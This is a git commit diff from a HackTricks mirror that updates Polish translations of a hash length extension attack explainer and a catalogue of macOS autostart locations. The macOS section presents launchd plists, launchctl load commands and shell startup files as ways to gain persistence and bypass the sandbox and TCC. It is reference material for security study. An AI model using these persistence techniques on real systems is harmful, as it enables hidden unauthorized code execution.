mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
Translated ['crypto-and-stego/hash-length-extension-attack.md', 'cryptog
This commit is contained in:
parent
3a543e9e9d
commit
443a91dbb8
8 changed files with 726 additions and 668 deletions
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
|
@ -10,7 +10,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -18,11 +18,11 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana przez **dark web**, która oferuje **darmowe** funkcje do sprawdzania, czy firma lub jej klienci zostali **skompromitowani** przez **złośliwe oprogramowanie kradnące dane**.
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana przez **dark web**, która oferuje **darmowe** funkcje do sprawdzania, czy firma lub jej klienci zostali **skompromitowani** przez **złośliwe oprogramowanie kradnące informacje**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz odwiedzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik **za darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
|
@ -30,28 +30,28 @@ Możesz odwiedzić ich stronę internetową i wypróbować ich silnik za **darmo
|
|||
|
||||
## Podsumowanie ataku
|
||||
|
||||
Wyobraź sobie serwer, który **podpisuje** pewne **dane**, **dodając** do nich **tajny klucz** i następnie haszując te dane. Jeśli znasz:
|
||||
Wyobraź sobie serwer, który **podpisuje** pewne **dane**, **dodając** do nich **tajny klucz** do pewnych znanych danych tekstowych i następnie haszując te dane. Jeśli znasz:
|
||||
|
||||
* **Długość tajnego klucza** (można to również przeprowadzić metodą brutalnej siły w określonym zakresie długości)
|
||||
* **Dane czystego tekstu**
|
||||
* **Dane tekstowe**
|
||||
* **Algorytm (podatny na ten atak)**
|
||||
* **Wypełnienie jest znane**
|
||||
* Zazwyczaj używane jest domyślne, więc jeśli spełnione są pozostałe 3 wymagania, to również jest znane
|
||||
* Wypełnienie różni się w zależności od długości tajnego klucza + danych, dlatego potrzebna jest długość tajnego klucza
|
||||
* **Padding jest znany**
|
||||
* Zazwyczaj używany jest domyślny, więc jeśli spełnione są pozostałe 3 wymagania, to również jest znany
|
||||
* Padding różni się w zależności od długości tajnego klucza+danych, dlatego potrzebna jest długość tajnego klucza
|
||||
|
||||
W takim przypadku **atakujący** może **dodać dane** i **wygenerować** poprawny **podpis** dla **poprzednich danych + dodanych danych**.
|
||||
W takim przypadku **atakujący** może **dodać** **dane** i **wygenerować** poprawny **podpis** dla **poprzednich danych + dodanych danych**.
|
||||
|
||||
### Jak?
|
||||
|
||||
W podatnych algorytmach haszowanie odbywa się poprzez najpierw **haszowanie bloku danych**, a następnie, **z** wcześniej **utworzonego hasza** (stanu), **dodają następny blok danych** i **haszują go**.
|
||||
W podatnych algorytmach haszowanie odbywa się poprzez **najpierw haszowanie bloku danych**, a następnie, **z** **wcześniej** utworzonego **skrótu** (stanu), **dodają następny blok danych** i **haszują go**.
|
||||
|
||||
Wyobraź sobie, że tajny klucz to "tajne" a dane to "dane", MD5 z "tajnedane" to 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
Jeśli atakujący chce dodać ciąg "dodaj" może:
|
||||
|
||||
* Wygenerować MD5 z 64 "A"
|
||||
* Zmienić stan wcześniej zainicjowanego hasza na 6036708eba0d11f6ef52ad44e8b74d5b
|
||||
* Zmienić stan wcześniej zainicjowanego skrótu na 6036708eba0d11f6ef52ad44e8b74d5b
|
||||
* Dodać ciąg "dodaj"
|
||||
* Zakończyć haszowanie, a wynikowy skrót będzie **poprawny dla "tajne" + "dane" + "wypełnienie" + "dodaj"**
|
||||
* Zakończyć haszowanie, a wynikowy skrót będzie **poprawny dla "tajne" + "dane" + "padding" + "dodaj"**
|
||||
|
||||
### **Narzędzie**
|
||||
|
||||
|
@ -65,17 +65,17 @@ Możesz znaleźć ten atak dobrze wyjaśniony na stronie [https://blog.skullsecu
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana przez **dark web**, która oferuje **darmowe** funkcje do sprawdzania, czy firma lub jej klienci zostali **skompromitowani** przez **złośliwe oprogramowanie kradnące dane**.
|
||||
[**WhiteIntel**](https://whiteintel.io) to wyszukiwarka zasilana przez **dark web**, która oferuje **darmowe** funkcje do sprawdzania, czy firma lub jej klienci zostali **skompromitowani** przez **złośliwe oprogramowanie kradnące informacje**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz odwiedzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik **za darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
|
@ -83,6 +83,6 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,42 +1,42 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFTów**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Podsumowanie ataku
|
||||
|
||||
Wyobraź sobie serwer, który **podpisuje** pewne **dane**, **dołączając** do nich **tajemnicę**, a następnie haszując te dane. Jeśli znasz:
|
||||
Wyobraź sobie serwer, który **podpisuje** pewne **dane**, **dodając** do nich **tajny klucz** i następnie haszując te dane. Jeśli znasz:
|
||||
|
||||
* **Długość tajemnicy** (może być również przeprowadzony bruteforce z określonego zakresu długości)
|
||||
* **Dane jasne**
|
||||
* **Algorytm (i jest podatny na ten atak)**
|
||||
* **Długość tajnego klucza** (może być również złamana metodą bruteforce z zakresu długości)
|
||||
* **Dane w postaci tekstu jawnego**
|
||||
* **Algorytm (podatny na ten atak)**
|
||||
* **Padding jest znany**
|
||||
* Zazwyczaj używany jest domyślny, więc jeśli spełnione są pozostałe 3 wymagania, to również jest znany
|
||||
* Padding różni się w zależności od długości tajemnicy+danych, dlatego potrzebna jest długość tajemnicy
|
||||
* Padding różni się w zależności od długości tajnego klucza+danych, dlatego potrzebna jest długość tajnego klucza
|
||||
|
||||
W takim przypadku **atakujący** może **dołączyć** **dane** i **wygenerować** prawidłowy **podpis** dla **poprzednich danych + dołączonych danych**.
|
||||
W takim przypadku **atakujący** może **dodać** **dane** i **wygenerować** poprawny **podpis** dla **poprzednich danych + dodanych danych**.
|
||||
|
||||
## Jak?
|
||||
|
||||
Podatne algorytmy generują hashe, najpierw **haszując blok danych**, a następnie, **z** wcześniej utworzonego **hasza** (stanu), **dodają następny blok danych** i **haszują go**.
|
||||
W podatnych algorytmach haszowanie odbywa się poprzez najpierw **haszowanie bloku danych**, a następnie, **z** wcześniej **utworzonego hasha** (stanu), dodają **następny blok danych** i **haszują go**.
|
||||
|
||||
Wyobraź sobie, że tajemnica to "tajemnica", a dane to "dane", MD5 z "tajemnicadanych" to 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
Jeśli atakujący chce dołączyć ciąg znaków "dołącz", może:
|
||||
Wyobraź sobie, że tajny klucz to "tajne" a dane to "dane", MD5 z "tajnedane" to 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
Jeśli atakujący chce dodać ciąg "dodaj" może:
|
||||
|
||||
* Wygenerować MD5 z 64 "A"
|
||||
* Zmienić stan wcześniej zainicjalizowanego hasza na 6036708eba0d11f6ef52ad44e8b74d5b
|
||||
* Dołączyć ciąg znaków "dołącz"
|
||||
* Zakończyć haszowanie, a wynikowy hasz będzie **prawidłowy dla "tajemnica" + "dane" + "padding" + "dołącz"**
|
||||
* Zmienić stan wcześniej zainicjowanego hasha na 6036708eba0d11f6ef52ad44e8b74d5b
|
||||
* Dodać ciąg "dodaj"
|
||||
* Zakończyć haszowanie, a wynikowy hash będzie **poprawny dla "tajne" + "dane" + "padding" + "dodaj"**
|
||||
|
||||
## **Narzędzie**
|
||||
|
||||
|
@ -49,14 +49,14 @@ Możesz znaleźć dobrze wyjaśniony ten atak na stronie [https://blog.skullsecu
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFTów**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,25 +1,25 @@
|
|||
# Automatyczne uruchamianie macOS
|
||||
# Automatyczne uruchamianie w macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij naukę hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) albo **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
Ta sekcja opiera się głównie na serii blogów [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), celem jest dodanie **więcej lokalizacji automatycznego uruchamiania** (jeśli to możliwe), wskazanie **które techniki wciąż działają** obecnie z najnowszą wersją macOS (13.4) i określenie **uprawnień** wymaganych.
|
||||
Ta sekcja opiera się głównie na serii blogów [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), celem jest dodanie **więcej lokalizacji autostartu** (jeśli to możliwe), wskazanie **które techniki wciąż działają** obecnie z najnowszą wersją macOS (13.4) oraz określenie **uprawnień** wymaganych.
|
||||
|
||||
## Ominięcie piaskownicy
|
||||
|
||||
{% hint style="success" %}
|
||||
Tutaj znajdziesz lokalizacje startowe przydatne do **omijania piaskownicy**, które pozwalają po prostu **wykonać coś, pisząc to do pliku** i **czekając** na bardzo **powszechne działanie**, określoną **ilość czasu** lub **działanie, które zazwyczaj można wykonać** z wnętrza piaskownicy bez konieczności posiadania uprawnień root.
|
||||
Tutaj znajdziesz lokalizacje startowe przydatne do **omijania piaskownicy**, które pozwalają po prostu uruchomić coś, **zapisując to do pliku** i **czekając** na bardzo **czynność** **powszechną**, określoną **ilość czasu** lub **czynność, którą zazwyczaj można wykonać** z wnętrza piaskownicy bez konieczności posiadania uprawnień root.
|
||||
{% endhint %}
|
||||
|
||||
### Launchd
|
||||
|
@ -46,16 +46,22 @@ Tutaj znajdziesz lokalizacje startowe przydatne do **omijania piaskownicy**, kt
|
|||
* **`~/Library/LaunchDemons`**
|
||||
* **Wywołanie**: Ponowne zalogowanie
|
||||
|
||||
#### Opis i Wykorzystanie
|
||||
{% hint style="success" %}
|
||||
Jako ciekawostkę, **`launchd`** ma wbudowaną listę właściwości w sekcji Mach-o `__Text.__config`, która zawiera inne dobrze znane usługi, które `launchd` musi uruchomić. Ponadto te usługi mogą zawierać `RequireSuccess`, `RequireRun` i `RebootOnSuccess`, co oznacza, że muszą być uruchomione i zakończone pomyślnie.
|
||||
|
||||
**`launchd`** to **pierwszy** **proces** uruchamiany przez jądro OX S podczas uruchamiania i ostatni, który kończy działanie podczas wyłączania. Zawsze powinien mieć **PID 1**. Ten proces będzie **czytał i wykonywał** konfiguracje wskazane w plikach **ASEP** **plists** w:
|
||||
Oczywiście nie można go modyfikować ze względu na podpisywanie kodu.
|
||||
{% endhint %}
|
||||
|
||||
#### Opis i eksploatacja
|
||||
|
||||
**`launchd`** to **pierwszy** **proces** uruchamiany przez jądro OX S podczas uruchamiania i ostatni, który kończy działanie podczas wyłączania. Zawsze powinien mieć **PID 1**. Ten proces będzie **czytał i wykonywał** konfiguracje wskazane w **plikach ASEP** w:
|
||||
|
||||
* `/Library/LaunchAgents`: Agenci dla użytkownika zainstalowani przez administratora
|
||||
* `/Library/LaunchDaemons`: Demony na poziomie systemu zainstalowane przez administratora
|
||||
* `/Library/LaunchDaemons`: Demony systemowe zainstalowane przez administratora
|
||||
* `/System/Library/LaunchAgents`: Agenci dla użytkownika dostarczeni przez Apple.
|
||||
* `/System/Library/LaunchDaemons`: Demony na poziomie systemu dostarczone przez Apple.
|
||||
* `/System/Library/LaunchDaemons`: Demony systemowe dostarczone przez Apple.
|
||||
|
||||
Gdy użytkownik loguje się, pliki plists znajdujące się w `/Users/$USER/Library/LaunchAgents` i `/Users/$USER/Library/LaunchDemons` są uruchamiane z **uprawnieniami zalogowanych użytkowników**.
|
||||
Gdy użytkownik loguje się, pliki plist znajdujące się w `/Users/$USER/Library/LaunchAgents` i `/Users/$USER/Library/LaunchDemons` są uruchamiane z **uprawnieniami zalogowanego użytkownika**.
|
||||
|
||||
**Główną różnicą między agentami a demonami jest to, że agenci są ładowani podczas logowania użytkownika, a demony są ładowane podczas uruchamiania systemu** (ponieważ istnieją usługi, takie jak ssh, które muszą być uruchomione przed dostępem jakiegokolwiek użytkownika do systemu). Ponadto agenci mogą korzystać z interfejsu graficznego, podczas gdy demony muszą działać w tle.
|
||||
```xml
|
||||
|
@ -80,13 +86,13 @@ Gdy użytkownik loguje się, pliki plists znajdujące się w `/Users/$USER/Libra
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
Istnieją przypadki, w których **agent musi zostać uruchomiony przed zalogowaniem użytkownika**, nazywane **PreLoginAgents**. Na przykład jest to przydatne do dostarczania technologii wspomagających podczas logowania. Mogą one być znalezione również w `/Library/LaunchAgents` (zobacz [**tutaj**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) przykład).
|
||||
Istnieją przypadki, gdy **agent musi zostać wykonany przed zalogowaniem użytkownika**, nazywane są **PreLoginAgents**. Na przykład jest to przydatne do dostarczania technologii wspomagającej podczas logowania. Mogą one być znalezione również w `/Library/LaunchAgents` (zobacz [**tutaj**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) przykład).
|
||||
|
||||
{% hint style="info" %}
|
||||
Nowe pliki konfiguracyjne Daemons lub Agents zostaną **załadowane po następnym ponownym uruchomieniu lub używając** `launchctl load <target.plist>`. Jest **również możliwe załadowanie plików .plist bez tego rozszerzenia** za pomocą `launchctl -F <file>` (jednak te pliki plist nie będą automatycznie ładowane po ponownym uruchomieniu).\
|
||||
Możliwe jest również **odładowanie** za pomocą `launchctl unload <target.plist>` (proces wskazany przez niego zostanie zakończony).
|
||||
Nowe pliki konfiguracyjne Daemons lub Agents zostaną **załadowane po następnym ponownym uruchomieniu lub używając** `launchctl load <target.plist>` Jest **również możliwe załadowanie plików .plist bez tego rozszerzenia** za pomocą `launchctl -F <file>` (jednak te pliki plist nie będą automatycznie ładowane po ponownym uruchomieniu).\
|
||||
Jest również możliwe **odładowanie** za pomocą `launchctl unload <target.plist>` (proces wskazany przez niego zostanie zakończony),
|
||||
|
||||
Aby **upewnić się**, że nie ma **niczego** (jak nadpisanie), **co uniemożliwia uruchomienie** **Agenta** lub **Daemona**, uruchom: `sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist`
|
||||
Aby **upewnić się**, że nie ma **niczego** (jak nadpisanie) **uniemożliwiającego** **Agentowi** lub **Daemonowi** **uruchomienie** wykonaj: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`
|
||||
{% endhint %}
|
||||
|
||||
Wypisz wszystkie agenty i demony załadowane przez bieżącego użytkownika:
|
||||
|
@ -97,40 +103,62 @@ launchctl list
|
|||
Jeśli plik plist jest własnością użytkownika, nawet jeśli znajduje się w folderach systemowych demona, **zadanie zostanie wykonane jako użytkownik**, a nie jako root. Może to zapobiec niektórym atakom eskalacji uprawnień.
|
||||
{% endhint %}
|
||||
|
||||
### pliki uruchamiania powłoki
|
||||
#### Więcej informacji o launchd
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.github.io/beyond/beyond\_0001/)\
|
||||
Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
|
||||
**`launchd`** to **pierwszy** proces trybu użytkownika, który jest uruchamiany z **jądra**. Uruchomienie procesu musi być **udane** i **nie może się zakończyć ani zawiesić**. Jest on nawet **chroniony** przed niektórymi **sygnałami zabijania**.
|
||||
|
||||
Jedną z pierwszych rzeczy, które `launchd` zrobi, jest **uruchomienie** wszystkich **demonów**, takich jak:
|
||||
|
||||
* **Demon czasowy** oparty na czasie do wykonania:
|
||||
* atd (`com.apple.atrun.plist`): Ma `StartInterval` 30 minut
|
||||
* crond (`com.apple.systemstats.daily.plist`): Ma `StartCalendarInterval` aby uruchomić o 00:15
|
||||
* **Demony sieciowe** takie jak:
|
||||
* `org.cups.cups-lpd`: Nasłuchuje w TCP (`SockType: stream`) z `SockServiceName: printer`
|
||||
* `SockServiceName` musi być portem lub usługą z `/etc/services`
|
||||
* `com.apple.xscertd.plist`: Nasłuchuje na TCP na porcie 1640
|
||||
* **Demony ścieżkowe**, które są wykonywane, gdy określona ścieżka ulega zmianie:
|
||||
* `com.apple.postfix.master`: Sprawdzanie ścieżki `/etc/postfix/aliases`
|
||||
* **Demony powiadomień IOKit**:
|
||||
* `com.apple.xartstorageremoted`: `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...`
|
||||
* **Port Mach**:
|
||||
* `com.apple.xscertd-helper.plist`: Wskazuje w wpisie `MachServices` nazwę `com.apple.xscertd.helper`
|
||||
* **UserEventAgent**:
|
||||
* Jest to inna niż poprzednia. Powoduje, że launchd uruchamia aplikacje w odpowiedzi na określone zdarzenie. Jednak w tym przypadku głównym plikiem zaangażowanym nie jest `launchd`, ale `/usr/libexec/UserEventAgent`. Ładuje wtyczki z zablokowanego przez SIP folderu /System/Library/UserEventPlugins/, gdzie każda wtyczka wskazuje swój inicjator w kluczu `XPCEventModuleInitializer` lub, w przypadku starszych wtyczek, w słowniku `CFPluginFactories` pod kluczem `FB86416D-6164-2070-726F-70735C216EC0` swojego `Info.plist`.
|
||||
|
||||
### pliki startowe powłoki
|
||||
|
||||
Opis: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.github.io/beyond/beyond\_0001/)\
|
||||
Opis (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
|
||||
|
||||
* Przydatne do ominięcia piaskownicy: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Ominięcie TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Ale musisz znaleźć aplikację z ominięciem TCC, która wykonuje powłokę, która wczytuje te pliki
|
||||
* Ale trzeba znaleźć aplikację z ominięciem TCC, która wykonuje powłokę, która ładuje te pliki
|
||||
|
||||
#### Lokalizacje
|
||||
|
||||
* **`~/.zshrc`, `~/.zlogin`, `~/.zshenv.zwc`**, **`~/.zshenv`, `~/.zprofile`**
|
||||
* **Wywołanie**: Otwórz terminal z zsh
|
||||
* **Wyzwalacz**: Otwórz terminal z zsh
|
||||
* **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`**
|
||||
* **Wywołanie**: Otwórz terminal z zsh
|
||||
* Wymagane uprawnienia roota
|
||||
* **Wyzwalacz**: Otwórz terminal z zsh
|
||||
* Wymagane uprawnienia roota
|
||||
* **`~/.zlogout`**
|
||||
* **Wywołanie**: Zamknij terminal z zsh
|
||||
* **Wyzwalacz**: Zamknij terminal z zsh
|
||||
* **`/etc/zlogout`**
|
||||
* **Wywołanie**: Zamknij terminal z zsh
|
||||
* Wymagane uprawnienia roota
|
||||
* **Wyzwalacz**: Zamknij terminal z zsh
|
||||
* Wymagane uprawnienia roota
|
||||
* Potencjalnie więcej w: **`man zsh`**
|
||||
* **`~/.bashrc`**
|
||||
* **Wywołanie**: Otwórz terminal z bash
|
||||
* **Wyzwalacz**: Otwórz terminal z bash
|
||||
* `/etc/profile` (nie działało)
|
||||
* `~/.profile` (nie działało)
|
||||
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
|
||||
* **Wywołanie**: Oczekiwane wywołanie z xterm, ale **nie jest zainstalowany** i nawet po zainstalowaniu występuje ten błąd: xterm: `DISPLAY is not set`
|
||||
* **Wyzwalacz**: Oczekiwano wywołania z xterm, ale **nie jest zainstalowany** i nawet po zainstalowaniu pojawia się ten błąd: xterm: `DISPLAY is not set`
|
||||
|
||||
#### Opis & Wykorzystanie
|
||||
#### Opis i Wykorzystanie
|
||||
|
||||
Podczas inicjowania środowiska powłoki, takiego jak `zsh` lub `bash`, **są uruchamiane pewne pliki uruchamiania**. Obecnie macOS używa `/bin/zsh` jako domyślnej powłoki. Ta powłoka jest automatycznie uruchamiana, gdy uruchamiana jest aplikacja Terminal lub gdy urządzenie jest dostępne za pośrednictwem SSH. Chociaż `bash` i `sh` są również obecne w macOS, muszą być jawnie wywoływane, aby je użyć.
|
||||
